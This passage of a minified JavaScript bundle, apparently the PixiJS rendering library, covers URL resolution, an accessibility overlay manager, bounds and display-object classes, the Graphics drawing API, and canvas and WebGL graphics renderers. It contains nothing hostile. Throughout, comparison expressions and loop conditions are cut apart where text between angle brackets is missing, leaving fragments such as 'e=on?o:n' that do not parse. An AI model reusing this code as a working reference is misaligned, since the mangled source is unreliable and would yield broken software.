+this.hostname.length>255?this.hostname="":this.hostname=this.hostname.toLowerCase(),R||(this.hostname=u.toASCII(this.hostname));var U=this.port?":"+this.port:"",X=this.hostname||"";this.host=X+U,this.href+=this.host,R&&(this.hostname=this.hostname.substr(1,this.hostname.length-2),"/"!==a[0]&&(a="/"+a))}if(!b[p])for(var O=0,I=v.length;O0)&&r.host.split("@");S&&(r.auth=S.shift(),r.host=r.hostname=S.shift())}return r.search=t.search,r.query=t.query,h.isNull(r.pathname)&&h.isNull(r.search)||(r.path=(r.pathname?r.pathname:"")+(r.search?r.search:"")),r.href=r.format(),r}if(!w.length)return r.pathname=null,r.search?r.path="/"+r.search:r.path=null,r.href=r.format(),r;for(var O=w.slice(-1)[0],M=(r.host||t.host||w.length>1)&&("."===O||".."===O)||""===O,P=0,C=w.length;C>=0;C--)O=w[C],"."===O?w.splice(C,1):".."===O?(w.splice(C,1),P++):P&&(w.splice(C,1),P--);if(!_&&!b)for(;P--;P)w.unshift("..");!_||""===w[0]||w[0]&&"/"===w[0].charAt(0)||w.unshift(""),M&&"/"!==w.join("/").substr(-1)&&w.push("");var R=""===w[0]||w[0]&&"/"===w[0].charAt(0);if(E){r.hostname=r.host=R?"":w.length?w.shift():"";var S=!!(r.host&&r.host.indexOf("@")>0)&&r.host.split("@");S&&(r.auth=S.shift(),r.host=r.hostname=S.shift())}return _=_||r.host&&w.length,_&&!R&&w.unshift(""),w.length?r.pathname=w.join("/"):(r.pathname=null,r.path=null),h.isNull(r.pathname)&&h.isNull(r.search)||(r.path=(r.pathname?r.pathname:"")+(r.search?r.search:"")),r.auth=t.auth||r.auth,r.slashes=r.slashes||t.slashes,r.href=r.format(),r},n.prototype.parseHost=function(){var t=this.host,e=c.exec(t);e&&(e=e[0],":"!==e&&(this.port=e.substr(1)),t=t.substr(0,t.length-e.length)),t&&(this.hostname=t)}},{"./util":39,punycode:27,querystring:30}],39:[function(t,e,r){"use strict";e.exports={isString:function(t){return"string"==typeof t},isObject:function(t){return"object"==typeof t&&null!==t},isNull:function(t){return null===t},isNullOrUndefined:function(t){return null==t}}},{}],40:[function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function i(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}r.__esModule=!0;var o=t("../core"),s=function(t){if(t&&t.__esModule)return t;var e={};if(null!=t)for(var r in t)Object.prototype.hasOwnProperty.call(t,r)&&(e[r]=t[r]);return e.default=t,e}(o),a=t("ismobilejs"),u=n(a),h=t("./accessibleTarget"),l=n(h);s.utils.mixins.delayMixin(s.DisplayObject.prototype,l.default);var c=100,d=0,f=0,p=2,v=function(){function t(e){i(this,t),!u.default.tablet&&!u.default.phone||navigator.isCocoonJS||this.createTouchHook();var r=document.createElement("div");r.style.width=c+"px",r.style.height=c+"px",r.style.position="absolute",r.style.top=d+"px",r.style.left=f+"px",r.style.zIndex=p,this.div=r,this.pool=[],this.renderId=0,this.debug=!1,this.renderer=e,this.children=[],this._onKeyDown=this._onKeyDown.bind(this),this._onMouseMove=this._onMouseMove.bind(this),this.isActive=!1,this.isMobileAccessabillity=!1,window.addEventListener("keydown",this._onKeyDown,!1)}return t.prototype.createTouchHook=function(){var t=this,e=document.createElement("button");e.style.width="1px",e.style.height="1px",e.style.position="absolute",e.style.top="-1000px",e.style.left="-1000px",e.style.zIndex=2,e.style.backgroundColor="#FF0000",e.title="HOOK DIV",e.addEventListener("focus",function(){t.isMobileAccessabillity=!0,t.activate(),document.body.removeChild(e)}),document.body.appendChild(e)},t.prototype.activate=function(){this.isActive||(this.isActive=!0,window.document.addEventListener("mousemove",this._onMouseMove,!0),window.removeEventListener("keydown",this._onKeyDown,!1),this.renderer.on("postrender",this.update,this),this.renderer.view.parentNode&&this.renderer.view.parentNode.appendChild(this.div))},t.prototype.deactivate=function(){this.isActive&&!this.isMobileAccessabillity&&(this.isActive=!1,window.document.removeEventListener("mousemove",this._onMouseMove,!0),window.addEventListener("keydown",this._onKeyDown,!1),this.renderer.off("postrender",this.update),this.div.parentNode&&this.div.parentNode.removeChild(this.div))},t.prototype.updateAccessibleObjects=function(t){if(t.visible){t.accessible&&t.interactive&&(t._accessibleActive||this.addChild(t),t.renderId=this.renderId);for(var e=t.children,r=0;rthis.renderer.width&&(t.width=this.renderer.width-t.x),t.y+t.height>this.renderer.height&&(t.height=this.renderer.height-t.y)},t.prototype.addChild=function(t){var e=this.pool.pop();e||(e=document.createElement("button"),e.style.width=c+"px",e.style.height=c+"px",e.style.backgroundColor=this.debug?"rgba(255,0,0,0.5)":"transparent",e.style.position="absolute",e.style.zIndex=p,e.style.borderStyle="none",navigator.userAgent.toLowerCase().indexOf("chrome")>-1?e.setAttribute("aria-live","off"):e.setAttribute("aria-live","polite"),navigator.userAgent.match(/rv:.*Gecko\//)?e.setAttribute("aria-relevant","additions"):e.setAttribute("aria-relevant","text"),e.addEventListener("click",this._onClick.bind(this)),e.addEventListener("focus",this._onFocus.bind(this)),e.addEventListener("focusout",this._onFocusOut.bind(this))),t.accessibleTitle&&null!==t.accessibleTitle?e.title=t.accessibleTitle:t.accessibleHint&&null!==t.accessibleHint||(e.title="displayObject "+t.tabIndex),t.accessibleHint&&null!==t.accessibleHint&&e.setAttribute("aria-label",t.accessibleHint),t._accessibleActive=!0,t._accessibleDiv=e,e.displayObject=t,this.children.push(t),this.div.appendChild(t._accessibleDiv),t._accessibleDiv.tabIndex=t.tabIndex},t.prototype._onClick=function(t){var e=this.renderer.plugins.interaction;e.dispatchEvent(t.target.displayObject,"click",e.eventData)},t.prototype._onFocus=function(t){t.target.getAttribute("aria-live","off")||t.target.setAttribute("aria-live","assertive");var e=this.renderer.plugins.interaction;e.dispatchEvent(t.target.displayObject,"mouseover",e.eventData)},t.prototype._onFocusOut=function(t){t.target.getAttribute("aria-live","off")||t.target.setAttribute("aria-live","polite");var e=this.renderer.plugins.interaction;e.dispatchEvent(t.target.displayObject,"mouseout",e.eventData)},t.prototype._onKeyDown=function(t){9===t.keyCode&&this.activate()},t.prototype._onMouseMove=function(t){0===t.movementX&&0===t.movementY||this.deactivate()},t.prototype.destroy=function(){this.div=null;for(var t=0;t]*(?:\s(width|height)=('|")(\d*(?:\.\d+)?)(?:px)?('|"))[^>]*(?:\s(width|height)=('|")(\d*(?:\.\d+)?)(?:px)?('|"))[^>]*>/i,r.SHAPES={POLY:0,RECT:1,CIRC:2,ELIP:3,RREC:4},r.PRECISION={LOW:"lowp",MEDIUM:"mediump",HIGH:"highp"},r.TRANSFORM_MODE={STATIC:0,DYNAMIC:1},r.TEXT_GRADIENT={LINEAR_VERTICAL:0,LINEAR_HORIZONTAL:1},r.UPDATE_PRIORITY={INTERACTION:50,HIGH:25,NORMAL:0,LOW:-25,UTILITY:-50}},{}],47:[function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}r.__esModule=!0;var i=t("../math"),o=function(){function t(){n(this,t),this.minX=1/0,this.minY=1/0,this.maxX=-1/0,this.maxY=-1/0,this.rect=null}return t.prototype.isEmpty=function(){return this.minX>this.maxX||this.minY>this.maxY},t.prototype.clear=function(){this.updateID++,this.minX=1/0,this.minY=1/0,this.maxX=-1/0,this.maxY=-1/0},t.prototype.getRectangle=function(t){return this.minX>this.maxX||this.minY>this.maxY?i.Rectangle.EMPTY:(t=t||new i.Rectangle(0,0,1,1),t.x=this.minX,t.y=this.minY,t.width=this.maxX-this.minX,t.height=this.maxY-this.minY,t)},t.prototype.addPoint=function(t){this.minX=Math.min(this.minX,t.x),this.maxX=Math.max(this.maxX,t.x),this.minY=Math.min(this.minY,t.y),this.maxY=Math.max(this.maxY,t.y)},t.prototype.addQuad=function(t){var e=this.minX,r=this.minY,n=this.maxX,i=this.maxY,o=t[0],s=t[1];e=on?o:n,i=s>i?s:i,o=t[2],s=t[3],e=on?o:n,i=s>i?s:i,o=t[4],s=t[5],e=on?o:n,i=s>i?s:i,o=t[6],s=t[7],e=on?o:n,i=s>i?s:i,this.minX=e,this.minY=r,this.maxX=n,this.maxY=i},t.prototype.addFrame=function(t,e,r,n,i){var o=t.worldTransform,s=o.a,a=o.b,u=o.c,h=o.d,l=o.tx,c=o.ty,d=this.minX,f=this.minY,p=this.maxX,v=this.maxY,g=s*e+u*r+l,y=a*e+h*r+c;d=gp?g:p,v=y>v?y:v,g=s*n+u*r+l,y=a*n+h*r+c,d=gp?g:p,v=y>v?y:v,g=s*e+u*i+l,y=a*e+h*i+c,d=gp?g:p,v=y>v?y:v,g=s*n+u*i+l,y=a*n+h*i+c,d=gp?g:p,v=y>v?y:v,this.minX=d,this.minY=f,this.maxX=p,this.maxY=v},t.prototype.addVertices=function(t,e,r,n){for(var i=t.worldTransform,o=i.a,s=i.b,a=i.c,u=i.d,h=i.tx,l=i.ty,c=this.minX,d=this.minY,f=this.maxX,p=this.maxY,v=r;vf?m:f,p=_>p?_:p}this.minX=c,this.minY=d,this.maxX=f,this.maxY=p},t.prototype.addBounds=function(t){var e=this.minX,r=this.minY,n=this.maxX,i=this.maxY;this.minX=t.minXn?t.maxX:n,this.maxY=t.maxY>i?t.maxY:i},t.prototype.addBoundsMask=function(t,e){var r=t.minX>e.minX?t.minX:e.minX,n=t.minY>e.minY?t.minY:e.minY,i=t.maxXu?i:u,this.maxY=o>h?o:h}},t.prototype.addBoundsArea=function(t,e){var r=t.minX>e.x?t.minX:e.x,n=t.minY>e.y?t.minY:e.y,i=t.maxXu?i:u,this.maxY=o>h?o:h}},t}();r.default=o},{"../math":70}],48:[function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function i(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function o(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}r.__esModule=!0;var s=function(){function t(t,e){for(var r=0;r1)for(var r=0;rthis.children.length)throw new Error(t+"addChildAt: The index "+e+" supplied is out of bounds "+this.children.length);return t.parent&&t.parent.removeChild(t),t.parent=this,t.transform._parentID=-1,this.children.splice(e,0,t),this._boundsID++,this.onChildrenChange(e),t.emit("added",this),t},e.prototype.swapChildren=function(t,e){if(t!==e){var r=this.getChildIndex(t),n=this.getChildIndex(e);this.children[r]=e,this.children[n]=t,this.onChildrenChange(r=this.children.length)throw new Error("The index "+e+" supplied is out of bounds "+this.children.length);var r=this.getChildIndex(t);(0,a.removeItems)(this.children,r,1),this.children.splice(e,0,t),this.onChildrenChange(e)},e.prototype.getChildAt=function(t){if(t<0||t>=this.children.length)throw new Error("getChildAt: Index ("+t+") does not exist.");return this.children[t]},e.prototype.removeChild=function(t){var e=arguments.length;if(e>1)for(var r=0;r0&&void 0!==arguments[0]?arguments[0]:0,e=arguments[1],r=t,n="number"==typeof e?e:this.children.length,i=n-r,o=void 0;if(i>0&&i<=n){o=this.children.splice(r,i);for(var s=0;s2&&void 0!==arguments[2]&&arguments[2]||(this._recursivePostUpdateTransform(),this.parent?this.displayObjectUpdateTransform():(this.parent=this._tempDisplayObjectParent,this.displayObjectUpdateTransform(),this.parent=null)),this.worldTransform.apply(t,e)},e.prototype.toLocal=function(t,e,r,n){return e&&(t=e.toGlobal(t,r,n)),n||(this._recursivePostUpdateTransform(),this.parent?this.displayObjectUpdateTransform():(this.parent=this._tempDisplayObjectParent,this.displayObjectUpdateTransform(),this.parent=null)),this.worldTransform.applyInverse(t,r)},e.prototype.renderWebGL=function(t){},e.prototype.renderCanvas=function(t){},e.prototype.setParent=function(t){if(!t||!t.addChild)throw new Error("setParent: Argument must be a Container");return t.addChild(this),t},e.prototype.setTransform=function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:1,n=arguments.length>3&&void 0!==arguments[3]?arguments[3]:1,i=arguments.length>4&&void 0!==arguments[4]?arguments[4]:0,o=arguments.length>5&&void 0!==arguments[5]?arguments[5]:0,s=arguments.length>6&&void 0!==arguments[6]?arguments[6]:0,a=arguments.length>7&&void 0!==arguments[7]?arguments[7]:0,u=arguments.length>8&&void 0!==arguments[8]?arguments[8]:0;return this.position.x=t,this.position.y=e,this.scale.x=r||1,this.scale.y=n||1,this.rotation=i,this.skew.x=o,this.skew.y=s,this.pivot.x=a,this.pivot.y=u,this},e.prototype.destroy=function(){this.removeAllListeners(),this.parent&&this.parent.removeChild(this),this.transform=null,this.parent=null,this._bounds=null,this._currentBounds=null,this._mask=null,this.filterArea=null,this.interactive=!1,this.interactiveChildren=!1,this._destroyed=!0},a(e,[{key:"_tempDisplayObjectParent",get:function(){return null===this.tempDisplayObjectParent&&(this.tempDisplayObjectParent=new e),this.tempDisplayObjectParent}},{key:"x",get:function(){return this.position.x},set:function(t){this.transform.position.x=t}},{key:"y",get:function(){return this.position.y},set:function(t){this.transform.position.y=t}},{key:"worldTransform",get:function(){return this.transform.worldTransform}},{key:"localTransform",get:function(){return this.transform.localTransform}},{key:"position",get:function(){return this.transform.position},set:function(t){this.transform.position.copy(t)}},{key:"scale",get:function(){return this.transform.scale},set:function(t){this.transform.scale.copy(t)}},{key:"pivot",get:function(){return this.transform.pivot},set:function(t){this.transform.pivot.copy(t)}},{key:"skew",get:function(){return this.transform.skew},set:function(t){this.transform.skew.copy(t)}},{key:"rotation",get:function(){return this.transform.rotation},set:function(t){this.transform.rotation=t}},{key:"worldVisible",get:function(){var t=this;do{if(!t.visible)return!1;t=t.parent}while(t);return!0}},{key:"mask",get:function(){return this._mask},set:function(t){this._mask&&(this._mask.renderable=!0,this._mask.isMask=!1),this._mask=t,this._mask&&(this._mask.renderable=!1,this._mask.isMask=!0)}},{key:"filters",get:function(){return this._filters&&this._filters.slice()},set:function(t){this._filters=t&&t.slice()}}]),e}(h.default);r.default=b,b.prototype.displayObjectUpdateTransform=b.prototype.updateTransform},{"../const":46,"../math":70,"../settings":101,"./Bounds":47,"./Transform":50,"./TransformStatic":52,eventemitter3:3}],50:[function(t,e,r){"use strict";function n(t,e){ +if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function i(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function o(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}r.__esModule=!0;var s=function(){function t(t,e){for(var r=0;r0&&void 0!==arguments[0]&&arguments[0];i(this,e);var n=o(this,t.call(this));return n.fillAlpha=1,n.lineWidth=0,n.nativeLines=r,n.lineColor=0,n.lineAlignment=.5,n.graphicsData=[],n.tint=16777215,n._prevTint=16777215,n.blendMode=_.BLEND_MODES.NORMAL,n.currentPath=null,n._webGL={},n.isMask=!1,n.boundsPadding=0,n._localBounds=new x.default,n.dirty=0,n.fastRectDirty=-1,n.clearDirty=0,n.boundsDirty=-1,n.cachedSpriteDirty=!1,n._spriteRect=null,n._fastRect=!1,n._prevRectTint=null,n._prevRectFillColor=null,n}return s(e,t),e.prototype.clone=function(){var t=new e;t.renderable=this.renderable,t.fillAlpha=this.fillAlpha,t.lineWidth=this.lineWidth,t.lineColor=this.lineColor,t.lineAlignment=this.lineAlignment,t.tint=this.tint,t.blendMode=this.blendMode,t.isMask=this.isMask,t.boundsPadding=this.boundsPadding,t.dirty=0,t.cachedSpriteDirty=this.cachedSpriteDirty;for(var r=0;re.CURVES.maxSegments&&(r=e.CURVES.maxSegments),r},e.prototype.lineStyle=function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:0,r=arguments.length>2&&void 0!==arguments[2]?arguments[2]:1,n=arguments.length>3&&void 0!==arguments[3]?arguments[3]:.5;if(this.lineWidth=t,this.lineColor=e,this.lineAlpha=r,this.lineAlignment=n,this.currentPath)if(this.currentPath.shape.points.length){var i=new y.Polygon(this.currentPath.shape.points.slice(-2));i.closed=!1,this.drawShape(i)}else this.currentPath.lineWidth=this.lineWidth,this.currentPath.lineColor=this.lineColor,this.currentPath.lineAlpha=this.lineAlpha,this.currentPath.lineAlignment=this.lineAlignment;return this},e.prototype.moveTo=function(t,e){var r=new y.Polygon([t,e]);return r.closed=!1,this.drawShape(r),this},e.prototype.lineTo=function(t,e){var r=this.currentPath.shape.points,n=r[r.length-2],i=r[r.length-1];return n===t&&i===e||(r.push(t,e),this.dirty++),this},e.prototype.quadraticCurveTo=function(t,r,n,i){this.currentPath?0===this.currentPath.shape.points.length&&(this.currentPath.shape.points=[0,0]):this.moveTo(0,0);var o=this.currentPath.shape.points,s=0,a=0;0===o.length&&this.moveTo(0,0);for(var u=o[o.length-2],h=o[o.length-1],l=e.CURVES.adaptive?this._segmentsCount(this._quadraticCurveLength(u,h,t,r,n,i)):20,c=1;c<=l;++c){var d=c/l;s=u+(t-u)*d,a=h+(r-h)*d,o.push(s+(t+(n-t)*d-s)*d,a+(r+(i-r)*d-a)*d)}return this.dirty++,this},e.prototype.bezierCurveTo=function(t,r,n,i,o,s){this.currentPath?0===this.currentPath.shape.points.length&&(this.currentPath.shape.points=[0,0]):this.moveTo(0,0);var a=this.currentPath.shape.points,u=a[a.length-2],h=a[a.length-1];a.length-=2;var l=e.CURVES.adaptive?this._segmentsCount(this._bezierCurveLength(u,h,t,r,n,i,o,s)):20;return(0,w.default)(u,h,t,r,n,i,o,s,l,a),this.dirty++,this},e.prototype.arcTo=function(t,e,r,n,i){this.currentPath?0===this.currentPath.shape.points.length&&this.currentPath.shape.points.push(t,e):this.moveTo(t,e);var o=this.currentPath.shape.points,s=o[o.length-2],a=o[o.length-1],u=a-e,h=s-t,l=n-e,c=r-t,d=Math.abs(u*c-h*l);if(d<1e-8||0===i)o[o.length-2]===t&&o[o.length-1]===e||o.push(t,e);else{var f=u*u+h*h,p=l*l+c*c,v=u*l+h*c,g=i*Math.sqrt(f)/d,y=i*Math.sqrt(p)/d,m=g*v/f,_=y*v/p,b=g*c+y*h,x=g*l+y*u,T=h*(y+m),w=u*(y+m),E=c*(g+_),S=l*(g+_),O=Math.atan2(w-x,T-b),M=Math.atan2(S-x,E-b);this.arc(b+t,x+e,i,O,M,h*l>c*u)}return this.dirty++,this},e.prototype.arc=function(t,r,n,i,o){var s=arguments.length>5&&void 0!==arguments[5]&&arguments[5];if(i===o)return this;!s&&o<=i?o+=_.PI_2:s&&i<=o&&(i+=_.PI_2);var a=o-i,u=e.CURVES.adaptive?this._segmentsCount(Math.abs(a)*n):40*Math.ceil(Math.abs(a)/_.PI_2);if(0===a)return this;var h=t+Math.cos(i)*n,l=r+Math.sin(i)*n,c=this.currentPath?this.currentPath.shape.points:null;if(c){var d=Math.abs(c[c.length-2]-h),f=Math.abs(c[c.length-1]-l);d<.001&&f<.001||c.push(h,l)}else this.moveTo(h,l),c=this.currentPath.shape.points;for(var p=a/(2*u),v=2*p,g=Math.cos(p),y=Math.sin(p),m=u-1,b=m%1/m,x=0;x<=m;++x){var T=x+b*x,w=p+i+v*T,E=Math.cos(w),S=-Math.sin(w);c.push((g*E+y*S)*n+t,(g*-S+y*E)*n+r)}return this.dirty++,this},e.prototype.beginFill=function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:1;return this.filling=!0,this.fillColor=t,this.fillAlpha=e,this.currentPath&&this.currentPath.shape.points.length<=2&&(this.currentPath.fill=this.filling,this.currentPath.fillColor=this.fillColor,this.currentPath.fillAlpha=this.fillAlpha),this},e.prototype.endFill=function(){return this.filling=!1,this.fillColor=null,this.fillAlpha=1,this},e.prototype.drawRect=function(t,e,r,n){return this.drawShape(new y.Rectangle(t,e,r,n)),this},e.prototype.drawRoundedRect=function(t,e,r,n,i){return this.drawShape(new y.RoundedRectangle(t,e,r,n,i)),this},e.prototype.drawCircle=function(t,e,r){return this.drawShape(new y.Circle(t,e,r)),this},e.prototype.drawEllipse=function(t,e,r,n){return this.drawShape(new y.Ellipse(t,e,r,n)),this},e.prototype.drawPolygon=function(t){var e=t,r=!0;if(e instanceof y.Polygon&&(r=e.closed,e=e.points),!Array.isArray(e)){e=new Array(arguments.length);for(var n=0;n5&&void 0!==arguments[5]?arguments[5]:0;i=i||n/2;for(var s=-1*Math.PI/2+o,a=2*r,u=_.PI_2/a,h=[],l=0;l0)&&(this.lineWidth=0,this.lineAlignment=.5,this.filling=!1,this.boundsDirty=-1,this.canvasTintDirty=-1,this.dirty++,this.clearDirty++,this.graphicsData.length=0),this.currentPath=null,this._spriteRect=null,this},e.prototype.isFastRect=function(){return 1===this.graphicsData.length&&this.graphicsData[0].shape.type===_.SHAPES.RECT&&!this.graphicsData[0].lineWidth},e.prototype._renderWebGL=function(t){this.dirty!==this.fastRectDirty&&(this.fastRectDirty=this.dirty,this._fastRect=this.isFastRect()),this._fastRect?this._renderSpriteRect(t):(t.setObjectRenderer(t.plugins.graphics),t.plugins.graphics.render(this))},e.prototype._renderSpriteRect=function(t){var e=this.graphicsData[0].shape;this._spriteRect||(this._spriteRect=new g.default(new d.default(d.default.WHITE)));var r=this._spriteRect,n=this.graphicsData[0].fillColor;if(16777215===this.tint)r.tint=n;else if(this.tint!==this._prevRectTint||n!==this._prevRectFillColor){var i=C,o=R;(0,m.hex2rgb)(n,i),(0,m.hex2rgb)(this.tint,o),i[0]*=o[0],i[1]*=o[1],i[2]*=o[2],r.tint=(0,m.rgb2hex)(i),this._prevRectTint=this.tint,this._prevRectFillColor=n}r.alpha=this.graphicsData[0].fillAlpha,r.worldAlpha=this.worldAlpha*r.alpha,r.blendMode=this.blendMode,r._texture._frame.width=e.width,r._texture._frame.height=e.height,r.transform.worldTransform=this.transform.worldTransform,r.anchor.set(-e.x/e.width,-e.y/e.height),r._onAnchorUpdate(),r._renderWebGL(t)},e.prototype._renderCanvas=function(t){!0!==this.isMask&&t.plugins.graphics.render(this)},e.prototype._calculateBounds=function(){this.boundsDirty!==this.dirty&&(this.boundsDirty=this.dirty,this.updateLocalBounds(),this.cachedSpriteDirty=!0);var t=this._localBounds;this._bounds.addFrame(this.transform,t.minX,t.minY,t.maxX,t.maxY)},e.prototype.containsPoint=function(t){this.worldTransform.applyInverse(t,P);for(var e=this.graphicsData,r=0;re?o+a:e,r=sn?s+u:n;else if(c===_.SHAPES.CIRC)o=i.x,s=i.y,a=i.radius+p,u=i.radius+p,t=o-ae?o+a:e,r=s-un?s+u:n;else if(c===_.SHAPES.ELIP)o=i.x,s=i.y,a=i.width+p,u=i.height+p,t=o-ae?o+a:e,r=s-un?s+u:n;else for(var v=i.points,g=0,y=0,m=0,b=0,x=0,T=0,w=0,E=0,S=0;S+2e?w+x:e,r=E-Tn?E+T:n)}else t=0,e=0,r=0,n=0;var O=this.boundsPadding;this._localBounds.minX=t-O,this._localBounds.maxX=e+O,this._localBounds.minY=r-O,this._localBounds.maxY=n+O},e.prototype.drawShape=function(t){this.currentPath&&this.currentPath.shape.points.length<=2&&this.graphicsData.pop(),this.currentPath=null;var e=new p.default(this.lineWidth,this.lineColor,this.lineAlpha,this.fillColor,this.fillAlpha,this.filling,this.nativeLines,t,this.lineAlignment);return this.graphicsData.push(e),e.type===_.SHAPES.POLY&&(e.shape.closed=e.shape.closed,this.currentPath=e),this.dirty++,e},e.prototype.generateCanvasTexture=function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:1,r=this.getLocalBounds(),n=l.default.create(r.width,r.height,t,e);O||(O=new S.default),this.transform.updateLocalTransform(),this.transform.localTransform.copy(M),M.invert(),M.tx-=r.x,M.ty-=r.y,O.render(this,n,!0,M);var i=d.default.fromCanvas(n.baseTexture._canvasRenderTarget.canvas,t,"graphics");return i.baseTexture.resolution=e,i.baseTexture.update(),i},e.prototype.closePath=function(){var t=this.currentPath;return t&&t.shape&&t.shape.close(),this},e.prototype.addHole=function(){var t=this.graphicsData.pop();return this.currentPath=this.graphicsData[this.graphicsData.length-1],this.currentPath.addHole(t.shape),this.currentPath=null,this},e.prototype.destroy=function(e){t.prototype.destroy.call(this,e);for(var r=0;r0){p=0,g=d[0],y=d[1];for(var _=2;_+2=0;w-=2)r.lineTo(d[w],d[w+1])}f[b].close&&r.closePath()}}u.fill&&(r.globalAlpha=u.fillAlpha*n,r.fillStyle="#"+("00000"+(0|l).toString(16)).substr(-6),r.fill()),u.lineWidth&&(r.globalAlpha=u.lineAlpha*n,r.strokeStyle="#"+("00000"+(0|c).toString(16)).substr(-6),r.stroke())}else if(u.type===s.SHAPES.RECT)(u.fillColor||0===u.fillColor)&&(r.globalAlpha=u.fillAlpha*n,r.fillStyle="#"+("00000"+(0|l).toString(16)).substr(-6),r.fillRect(h.x,h.y,h.width,h.height)),u.lineWidth&&(r.globalAlpha=u.lineAlpha*n,r.strokeStyle="#"+("00000"+(0|c).toString(16)).substr(-6),r.strokeRect(h.x,h.y,h.width,h.height));else if(u.type===s.SHAPES.CIRC)r.beginPath(),r.arc(h.x,h.y,h.radius,0,2*Math.PI),r.closePath(),u.fill&&(r.globalAlpha=u.fillAlpha*n,r.fillStyle="#"+("00000"+(0|l).toString(16)).substr(-6),r.fill()),u.lineWidth&&(r.globalAlpha=u.lineAlpha*n,r.strokeStyle="#"+("00000"+(0|c).toString(16)).substr(-6),r.stroke());else if(u.type===s.SHAPES.ELIP){var E=2*h.width,S=2*h.height,O=h.x-E/2,M=h.y-S/2;r.beginPath();var P=E/2*.5522848,C=S/2*.5522848,R=O+E,A=M+S,I=O+E/2,D=M+S/2;r.moveTo(O,D),r.bezierCurveTo(O,D-C,I-P,M,I,M),r.bezierCurveTo(I+P,M,R,D-C,R,D),r.bezierCurveTo(R,D+C,I+P,A,I,A),r.bezierCurveTo(I-P,A,O,D+C,O,D),r.closePath(),u.fill&&(r.globalAlpha=u.fillAlpha*n,r.fillStyle="#"+("00000"+(0|l).toString(16)).substr(-6),r.fill()),u.lineWidth&&(r.globalAlpha=u.lineAlpha*n,r.strokeStyle="#"+("00000"+(0|c).toString(16)).substr(-6),r.stroke())}else if(u.type===s.SHAPES.RREC){var L=h.x,N=h.y,B=h.width,k=h.height,F=h.radius,j=Math.min(B,k)/2|0;F=F>j?j:F,r.beginPath(),r.moveTo(L,N+F),r.lineTo(L,N+k-F),r.quadraticCurveTo(L,N+k,L+F,N+k),r.lineTo(L+B-F,N+k),r.quadraticCurveTo(L+B,N+k,L+B,N+k-F),r.lineTo(L+B,N+F),r.quadraticCurveTo(L+B,N,L+B-F,N),r.lineTo(L+F,N),r.quadraticCurveTo(L,N,L,N+F),r.closePath(),(u.fillColor||0===u.fillColor)&&(r.globalAlpha=u.fillAlpha*n,r.fillStyle="#"+("00000"+(0|l).toString(16)).substr(-6),r.fill()),u.lineWidth&&(r.globalAlpha=u.lineAlpha*n,r.strokeStyle="#"+("00000"+(0|c).toString(16)).substr(-6),r.stroke())}}},t.prototype.updateGraphicsTint=function(t){t._prevTint=t.tint,t.canvasTintDirty=t.dirty;for(var e=(t.tint>>16&255)/255,r=(t.tint>>8&255)/255,n=(255&t.tint)/255,i=0;i>16&255)/255*e*255<<16)+((s>>8&255)/255*r*255<<8)+(255&s)/255*n*255,o._lineTint=((a>>16&255)/255*e*255<<16)+((a>>8&255)/255*r*255<<8)+(255&a)/255*n*255}},t.prototype.renderPolygon=function(t,e,r){r.moveTo(t[0],t[1]);for(var n=1;n9&&void 0!==arguments[9]?arguments[9]:[],l=0,c=0,d=0,f=0,p=0;h.push(t,e);for(var v=1,g=0;v<=u;++v)g=v/u,l=1-g,c=l*l,d=c*l,f=g*g,p=f*g,h.push(d*t+3*c*g*r+3*l*f*i+p*s,d*e+3*c*g*n+3*l*f*o+p*a);return h}r.__esModule=!0,r.default=n},{}],57:[function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function i(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t,e){if(!t)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!e||"object"!=typeof e&&"function"!=typeof e?t:e}function s(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function, not "+typeof e);t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,enumerable:!1,writable:!0,configurable:!0}}),e&&(Object.setPrototypeOf?Object.setPrototypeOf(t,e):t.__proto__=e)}r.__esModule=!0;var a=t("../../utils"),u=t("../../const"),h=t("../../renderers/webgl/utils/ObjectRenderer"),l=n(h),c=t("../../renderers/webgl/WebGLRenderer"),d=n(c),f=t("./WebGLGraphicsData"),p=n(f),v=t("./shaders/PrimitiveShader"),g=n(v),y=t("./utils/buildPoly"),m=n(y),_=t("./utils/buildRectangle"),b=n(_),x=t("./utils/buildRoundedRectangle"),T=n(x),w=t("./utils/buildCircle"),E=n(w),S=function(t){function e(r){i(this,e);var n=o(this,t.call(this,r));return n.graphicsDataPool=[],n.primitiveShader=null,n.gl=r.gl,n.CONTEXT_UID=0,n}return s(e,t),e.prototype.onContextChange=function(){this.gl=this.renderer.gl,this.CONTEXT_UID=this.renderer.CONTEXT_UID,this.primitiveShader=new g.default(this.gl)},e.prototype.destroy=function(){l.default.prototype.destroy.call(this);for(var t=0;t32e4)&&(n=this.graphicsDataPool.pop()||new 